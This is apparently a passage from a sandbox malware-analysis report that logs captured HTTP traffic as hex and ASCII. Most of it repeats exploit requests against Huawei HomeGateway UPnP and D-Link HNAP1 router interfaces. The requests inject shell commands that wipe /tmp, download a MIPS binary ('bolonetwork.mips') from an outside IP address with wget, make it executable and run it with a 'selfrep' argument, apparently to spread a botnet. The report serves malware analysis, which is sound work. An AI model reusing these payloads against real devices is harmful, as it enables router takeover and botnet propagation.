6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 